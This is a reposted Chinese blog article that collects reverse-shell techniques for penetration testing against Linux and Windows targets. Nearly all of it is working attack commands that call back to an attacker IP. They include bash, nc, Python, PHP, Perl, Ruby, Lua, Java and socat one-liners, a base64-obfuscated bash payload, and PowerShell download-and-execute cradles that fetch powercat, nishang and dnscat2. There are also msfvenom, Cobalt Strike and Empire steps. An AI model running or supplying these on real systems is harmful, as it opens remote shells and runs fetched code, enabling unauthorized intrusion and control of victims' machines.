轉載:反彈shell的各種姿勢

2020-08-13 09:43:53

前言

在滲透過程中,往往因爲埠限制而無法直連目標機器,此時需要通過反彈shell來獲取一個互動式shell,以便繼續深入。

反彈shell是開啓內網通道的第一步,也是許可權提升過程中至關重要的一步。本文所有姿勢整理自網路,並基於同一個假設的前提下完成測試和驗證。(假設:攻擊者主機爲:192.168.99.242,本地監聽1234埠,如有特殊情況以下會備註說明。)

Linux 反彈shell

姿勢一:bash反彈

bash -i >& /dev/tcp/192.168.99.242/1234 0>&1

base64版:bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'
線上編碼地址:http://www.jackson-t.ca/runtime-exec-payloads.html

其他版本:

exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $line 2>&5 >&5;done
exec /bin/sh 0</dev/tcp/192.168.99.242/1234 1>&0 2>&0

姿勢二:nc反彈

nc -e /bin/bash 192.168.99.242 1234

姿勢三:awk反彈

awk 'BEGIN{s="/inet/tcp/0/192.168.99.242/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

姿勢四:telnet反彈

備註:需要在攻擊主機上分別監聽1234和4321埠,執行反彈shell命令後,在1234終端輸入命令,4321檢視命令執行後的結果。

telnet 192.168.99.242 1234 | /bin/bash | telnet 192.168.99.242 4321

姿勢五:socat反彈

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.99.242:1234

姿勢六:Python反彈

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.99.242',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

姿勢七:PHP反彈

php -r '$sock=fsockopen("192.168.99.242",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

姿勢八:Perl反彈

perl -e 'use Socket;$i="192.168.99.242";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

姿勢九:Ruby反彈

ruby -rsocket -e'f=TCPSocket.open("192.168.99.242",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

姿勢十:Lua反彈

lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.99.242','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

姿勢十一:JAVA反彈

public class Revs {
    /**
    * @param args
    * @throws Exception 
    */
public static void main(String[] args) throws Exception {
        // TODO Auto-generated method stub
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"};
        Process p = r.exec(cmd);
        p.waitFor();
    }
}

儲存爲Revs.java檔案,編譯執行,成功反彈shell。

javac Revs.java 
java Revs

Windows反彈shell

姿勢一:nc反彈

netcat 下載:https://eternallybored.org/misc/netcat/
伺服器端反彈:nc 192.168.99.242 1234 -e c:\windows\system32\cmd.exe

姿勢二:powershell反彈

powercat是netcat的powershell版本,功能免殺性都要比netcat好用的多。

PS C:\WWW>powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.99.242 -p 1234 -e cmd

下載到目標機器本地執行:

PS C:\WWW> Import-Module ./powercat.ps1
PS C:\WWW> powercat -c 192.168.99.242 -p 1234 -e cmd

姿勢三:MSF反彈shell

使用msfvenom生成相關Payload

msfvenom -l payloads | grep 'cmd/windows/reverse'
msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.99.242 LPORT=1234

姿勢四:Cobalt strike反彈shell

1、設定監聽器:點選Cobalt Strike——>Listeners——>在下方Tab選單Listeners,點選add。
2、生成payload:點選Attacks——>Packages——>Windows Executable,儲存檔案位置。
3、目標機執行powershell payload

姿勢五:Empire反彈shell

usestager windows/launcher_vbs
info
set Listener test
execute

姿勢六:nishang反彈shell

Reverse TCP shell:

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com /samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 10.1.1.210 -port 1234

Reverse UDP shell:

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1');
Invoke-PowerShellUdp -Reverse -IPAddress 10.1.1.210 -port 1234

姿勢七:Dnscat反彈shell

github專案地址:

https://github.com/iagox86/dnscat2

伺服器端:

ruby dnscat2.rb --dns "domain=lltest.com,host=xx.xx.xx.xx" --no-cache -e open -e open 

目標主機:

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -Domain lltest.com -DNSServer xx.xx.xx.xx